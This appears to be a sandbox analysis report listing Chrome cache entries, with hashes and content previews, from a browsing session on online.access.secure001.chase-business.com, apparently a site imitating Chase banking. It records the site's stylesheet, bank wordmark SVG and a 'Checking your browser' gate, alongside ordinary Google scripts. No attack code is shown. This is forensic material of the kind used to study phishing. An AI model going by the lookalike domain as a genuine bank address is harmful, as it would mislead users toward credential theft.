Preview:	try{.C("MpJwZc");..D();.}catch(e){_DumpException(e)}.try{.C("UUJqVe");..D();.}catch(e){_DumpException(e)}.try{.bg(AA);.}catch(e){_DumpException(e)}.try{.C("s39S4");.var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&.cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-c

Chrome Cache Entry: 120

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	380
Entropy (8bit):	4.84909840327862
Encrypted:	false
SSDEEP:	6:A4lqdGJcfKSAR6PKCFuQFyaIRY+GJFFiDiy79adjSGGm8hRrNUo0L8FU3IVZHyv6:A4kdG+fJARkKGuQ7IZGLY7qZGm8DsAw6
MD5:	D67687AFD3C1C63FA22E9B0E6866C4E1
SHA1:	F06D11C22376A15C4F2EA8A507E2D63B39161BD2
SHA-256:	1BEAB0FBA1805115A5E7D28325BC36D0FED46882C944946838025694C5F61179
SHA-512:	A22017F5697A70BB72102EE0BD6E621B4FEC40718F97A51A114CEABA219B70E186785847323881A2C5D692C90165691E0BE9116D9CE0B20F09CFA973BEF04D52
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/main.css
Preview:	.hide_cont {...display:none;..}.....formatted-textarea {.. width: 100%;.. /max-width: 600px;/.. height: 300px;.. border: 1px solid #ccc;.. padding: 10px;.. overflow-y: auto;.. white-space: pre-wrap; /* Keeps whitespace formatting */.. background-color: #f9f9f9;.. font-family: Arial, sans-serif;.. font-size: 14px;.. box-sizing: border-box;..}..

Chrome Cache Entry: 121

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	4.793286482068979
Encrypted:	false
SSDEEP:	24:t41qCEDrCOBdD0C54boC2h9jsVCEak9LOf6pjeTaKElXo76sC+w5xI77cjfaLVCF:CyDP3na/acOf6pCTaKyXopWxO76aLaK0
MD5:	B55B042F907BC7108F5DCA2103A8476B
SHA1:	9FCDCC86BFE1F3C7D4F774775670FBD08FE7556C
SHA-256:	D3BF9C143E5E360DA41736B1D4E833B5AC6B6F7093DDC91FFC538233A78488D0
SHA-512:	45AA66ABB6C075A1B3F5C76C1273EA21E7855B99031D46BFBCD7B8882F58E9F5612B556E218B41C902ADA7FE0F77ED9F3849E8E675BBDDDB21AE5397624B2C7C
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2">...<path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/>...<path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>...<path fill="#FFFFFF" d="M331.1,71.2h22.5c1.4,0,2.5-1.1,2.5-2.5V51.3h-45.9L331.1,71.2z"/>...<path fill="#FFFFFF" d="M328.4,48.6V2.7l-19.9,20.9v22.5c0,1.4,1.1,2.5,2.5,2.5H328.4z"/>...<polygon fill="#FFFFFF" points="282.4,53.4 252,53.4 252,39.9 281.4,39.9 281.4,30.8 252,30.8 252,18.6 282.4,18.6 288.2,9.4 241.2,9.4 241.2,62.8 288.4,62.8 "/>...<path fill="#FFFFFF" d="M217.3,30.5h-21.4c-2.4,0-4-0.6-4-4.2c0,0,0-3.7,0-3.7c0-3,1.1-4.1,3.9-4.1l28,0l5.9-9.2l-35.7,0....c-6.5,0-13.1,3.9-13.1,13.9v2.6c0,10.4,6.4,14.4,12.7,14.4H216c2.3,0,4.2,0.4,4.2,4.3l0,4.5c-0.1,3.5-1.8,4.3-4.3,4.3h-29.4....l-6,9.4h36.2c8.7,0,14.7-4.3,14.7-14.4v-3.7C231.3,35.1,225.8,30.5,217.3,30.5z"/>...<path fill="#FFFFFF" d="M150.8,9.4l25.4,53.4h-12l-4.9-11h-27.6l-4.9,11h-12l25

Chrome Cache Entry: 122

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	510210
Entropy (8bit):	5.109743831386091
Encrypted:	false
SSDEEP:	6144:WrsFuvhZQNvmFbOLLEjL/fzLQdMGNAyWAanvnVx9Q5hbC+zPlo1dZ7RiSYYw/FIa:bmFbOLLE1ZGl/J
MD5:	855B869C33B99DE407FA24C277D5DE22
SHA1:	BB205DFFF3D3F023B75C88B7AE0C811902B46C8D
SHA-256:	A32BFFFF6BACCE1DE08FA0FFDB1F30EF47C4D18C95AF8AC4A0B86B952F057020
SHA-512:	98575A92E816B821623C1605D6E947F61924903C045587A8664FD09DBB39F194894455DE1785E26470084AE48D55B3CB9D3D2C624988EF62A62B95A6D681B9DB
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/blue-ui.css
Preview:	/! normalize.css v3.0.1 \| MIT License \| git.io/normalize /*{box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:0 0}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit

Chrome Cache Entry: 123

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x576, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	4002
Entropy (8bit):	7.822998215030883
Encrypted:	false
SSDEEP:	96:o4X4X4j/ULDoncX4OsM9KbayX4X4X4X4t2oVc0alWwPV3AWJQ:dooj/QDoncoOyayooooxlEt3Ha
MD5:	981C7BDD8C33DB0212D659454D7FF96D
SHA1:	D5C5E5EADFD07F2D2299C7DFD9A32F5284C21B98
SHA-256:	6CBAC603A6306DB6EE6D4765839A86F354959EF7D75206F2F9DCD32242E6C275
SHA-512:	B3FF42B07809374AB5EBCFD1DA730B222CFBD03198C340E6137B2593243B2FCFD9895B3C925DE8A74CC0CC0C4B91C0F712EDCDA9699D4993EE248A3BA7E51D48
Malicious:	false
Reputation:	low
URL:	https://drive.google.com/drive-viewer/AKGpiha3zArSgPpMxYtMaH6pdiYILssxXjXxL0-IwfjemsBbaXV5QMSoleQW3vRP0wolrPcEa7c_dn5jllzQf2QFOOChlFwHeWZEnTo=s1600-rw-v1
Preview:	RIFF....WEBPVP8 ...........@.>.Z.P'%(...hq...in.v..._.5...X.s.G....}.j.Hy..r.y..W.O.....C...7....bi....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..S.........D..L(XXa.g..>..T..[x....k..y.Y.].!...c....>.......X..W..x4.R.r.l.K...\|.g0>..k\|B^?.3.....+.F.3.....2.`.l.^..RdM...0.O......,1...t../...ZS".....\|!...mM>....3S.6..........z.I...#.o.W.EB...3..~.v.[x5...O..vK.........s."t...8..R.......X.ji....ka.C.E....V.&..U.<...C.......n.....k~T....\|...>j...)[.....e^...MZF.0S.=....\|.%.[.TTo2u....>....6...`..S..[C4$m.D ...p..V.Q.aM!......M\..`8.$A..H..`...a.Z.~.r..Y...:F{......+......6i>.....<.\|!...mM>....6...K....,Y..m8E..w.iu4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.....*....z..;..`..mM>....6...`..SMu..{..W....5..Itg.s...\w.M......X.ji....y.4.f.3..z.] ..!....et.f.X...R4"..W..!+5....K4".a........t.f..`..SO.0}c....Bt

Chrome Cache Entry: 124

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	downloaded
Size (bytes):	121769
Entropy (8bit):	5.4739773711708555
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozsCb0YJr35ecMNiycRAD/lsJTD5qzR:dIyKGRKR6Q2XXYJrJTD5qWT88I
MD5:	A30AD4B824EABD49827717DA4DD32163
SHA1:	BE003CDBFD22A27CF8C7B5CD12267E1DDAC23120
SHA-256:	4BB8D199FC83D95CF64D3ECE1F6A53F27535B0F335471ED675C03B729A7BBF86
SHA-512:	A9A4A1C8E94C875E2E7BA5A9BE929B59568127F21ABB921EF2721BD84E6329EE50D7B2B19AA7394F961926B64627A0B3ED4044EDDAA93E4A77F6E8A26A185E12
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 125

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=netf7j4pg6on
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 126

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 127

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	dropped
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	low
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 128

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 129

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	dropped
Size (bytes):	121769
Entropy (8bit):	5.4739773711708555
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozsCb0YJr35ecMNiycRAD/lsJTD5qzR:dIyKGRKR6Q2XXYJrJTD5qWT88I
MD5:	A30AD4B824EABD49827717DA4DD32163
SHA1:	BE003CDBFD22A27CF8C7B5CD12267E1DDAC23120
SHA-256:	4BB8D199FC83D95CF64D3ECE1F6A53F27535B0F335471ED675C03B729A7BBF86
SHA-512:	A9A4A1C8E94C875E2E7BA5A9BE929B59568127F21ABB921EF2721BD84E6329EE50D7B2B19AA7394F961926B64627A0B3ED4044EDDAA93E4A77F6E8A26A185E12
Malicious:	false
Reputation:	low
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 130

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:WZoSISHmn:WZoSfmn
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 131

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.358694969562841
Encrypted:	false
SSDEEP:	3:mSSSFJEojqCYn:mSSSFJrjc
MD5:	0BD55FBFB42BA1F09E4D36BE6B6BEFB6
SHA1:	BDCF4B978A9DB21DA23ED5A85129104B695C867A
SHA-256:	663B3D923025AFE55587A6D7E4C1E31B277F82CDFA78A7442D71DF473CE04891
SHA-512:	FDDD75C9581E21893132C34E7F5700B3EE7F07C551F79256D0DE6263A3840FD32D7D2F894F7E415664167538F0ECE2214E0E1901F515350CB617F32DDAD9B924
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgm-JfcTNaY6sRIFDW6kuv0SBQ1ollq8EgUNJZ5Ztg==?alt=proto
Preview:	ChsKBw1upLr9GgAKBw1ollq8GgAKBw0lnlm2GgA=

Chrome Cache Entry: 132

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1409
Entropy (8bit):	4.793286482068979
Encrypted:	false
SSDEEP:	24:t41qCEDrCOBdD0C54boC2h9jsVCEak9LOf6pjeTaKElXo76sC+w5xI77cjfaLVCF:CyDP3na/acOf6pCTaKyXopWxO76aLaK0
MD5:	B55B042F907BC7108F5DCA2103A8476B
SHA1:	9FCDCC86BFE1F3C7D4F774775670FBD08FE7556C
SHA-256:	D3BF9C143E5E360DA41736B1D4E833B5AC6B6F7093DDC91FFC538233A78488D0
SHA-512:	45AA66ABB6C075A1B3F5C76C1273EA21E7855B99031D46BFBCD7B8882F58E9F5612B556E218B41C902ADA7FE0F77ED9F3849E8E675BBDDDB21AE5397624B2C7C
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/wordmark-white.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2">...<path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/>...<path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>...<path fill="#FFFFFF" d="M331.1,71.2h22.5c1.4,0,2.5-1.1,2.5-2.5V51.3h-45.9L331.1,71.2z"/>...<path fill="#FFFFFF" d="M328.4,48.6V2.7l-19.9,20.9v22.5c0,1.4,1.1,2.5,2.5,2.5H328.4z"/>...<polygon fill="#FFFFFF" points="282.4,53.4 252,53.4 252,39.9 281.4,39.9 281.4,30.8 252,30.8 252,18.6 282.4,18.6 288.2,9.4 241.2,9.4 241.2,62.8 288.4,62.8 "/>...<path fill="#FFFFFF" d="M217.3,30.5h-21.4c-2.4,0-4-0.6-4-4.2c0,0,0-3.7,0-3.7c0-3,1.1-4.1,3.9-4.1l28,0l5.9-9.2l-35.7,0....c-6.5,0-13.1,3.9-13.1,13.9v2.6c0,10.4,6.4,14.4,12.7,14.4H216c2.3,0,4.2,0.4,4.2,4.3l0,4.5c-0.1,3.5-1.8,4.3-4.3,4.3h-29.4....l-6,9.4h36.2c8.7,0,14.7-4.3,14.7-14.4v-3.7C231.3,35.1,225.8,30.5,217.3,30.5z"/>...<path fill="#FFFFFF" d="M150.8,9.4l25.4,53.4h-12l-4.9-11h-27.6l-4.9,11h-12l25

Chrome Cache Entry: 133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971968787420344
Encrypted:	false
SSDEEP:	12:UJO694211FfgsO6ZRoT6pWiIKhhxkmgs6ZmOHc9n+5cMK00k14enEPCedG:G9JFfbOYssNVkmbYmOOk4TfenEPCD
MD5:	200544343AC58000DD445A295F748A8E
SHA1:	70F740C6752C4DE850A5482053CA052F3F68B295
SHA-256:	F57F59415E41576EDD75269D3DA0D9F6B648C86B072AB4BFBA64F3F3C2F5A16D
SHA-512:	AA34DCB2556E69A6C25D6732E8FAF2BE7F54E0AADC305CCBE4B3C3A4C11BE60DA0ABC02EF2A8173507F15C2CB4D356B3A9EFE010095EB5EEE0C880E1B924EF24
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 134

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (58713), with CRLF line terminators
Category:	downloaded
Size (bytes):	158694
Entropy (8bit):	5.787343974303209
Encrypted:	false
SSDEEP:	1536:U3p5C5G97qsO6k/InlvCUxZsSLsR1pSYEuazG4+9UrlP8KthdqHkYv9uvo/LV9uC:1shlvCUjbLswYEuawurRtV5Gv
MD5:	2717972C1A396D445ABC811E65E6B5C0
SHA1:	9FB7755885037D7420A28595FACC20EA4202544F
SHA-256:	149D3C200D0C0B77CFB9A94BB7AA77F41B09351F758FBEB317EBD887EB70BD6D
SHA-512:	CA0116E9BF5B16F9E8BA6FF4D084BEC28952B2E745F00659EE40BF098FE5584BE43B6AFEAC65B2066B614E5915BAEFFA643625F675FAA432B516ED9EA6577035
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/secure/
Preview:	<!DOCTYPE HTML>..<html lang="en">.. <head>.. <title>Checking your browser...</title>.. <meta charset="UTF-8">.. <meta name="viewport".. content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">.. <meta http-equiv="X-UA-Compatible" content="ie=edge">.. <style>a,label,span,svg{display:block;width:100%}.container,body,html,svg{height:100%},::after,::before{box-sizing:border-box;-webkit-tap-highlight-color:transparent}blockquote,body,dd,dl,figure,h1,h2,h3,h4,p{margin:0}ol[role=list],ul[role=list]{list-style:none}html:focus-within{scroll-behavior:smooth}body{text-rendering:optimizeSpeed;font-size:16px;background-color:#fff}iframe{position:absolute;top:-200vh}a,label,span{font-family:Arial,sans-serif;max-width:max-content;color:#000}svg{overflow:visible}a:not([class]){text-decoration-skip-ink:auto}@media (prefers-reduced-motion:reduce){html:focus-within{scroll-behavior:auto},::after,::before{a

Chrome Cache Entry: 135

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1170)
Category:	dropped
Size (bytes):	209242
Entropy (8bit):	5.525486724811298
Encrypted:	false
SSDEEP:	6144:y2vAXZ8wuXFb5CcdsvyvTmfi7OxDP1Bm5G:pAXiwib5Ccdky57S
MD5:	2D5977E5451D9CB3C5F83DAC50A2F8EF
SHA1:	B91600576EA9602E509B691B8C8DCA92680467B6
SHA-256:	34E479671BA6D41D87BD292162ECBA4E51A1897E4CB112C4C9DE054EF8930FFA
SHA-512:	51B14B36E0C442C56A9C0CC7B28FEBF3765DD15BE80B5B339A1AC7B8427D5EBFDBFA337DFC55AA40A8A985E7B1286C4D2D519B2AAA728AD8289BEA76BADA1866
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_1(function(_){var window=this;._.Bg=(window.gapi\|\|{}).load;._.Tn=_.Be(_.Me,"rw",_.Ce());.var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Tn[a];Vn(a)}};_.Wn=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Xn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Un(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Me.oa&&(k=d.id)){f=(f=_.Tn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Vn(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 136

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	86929
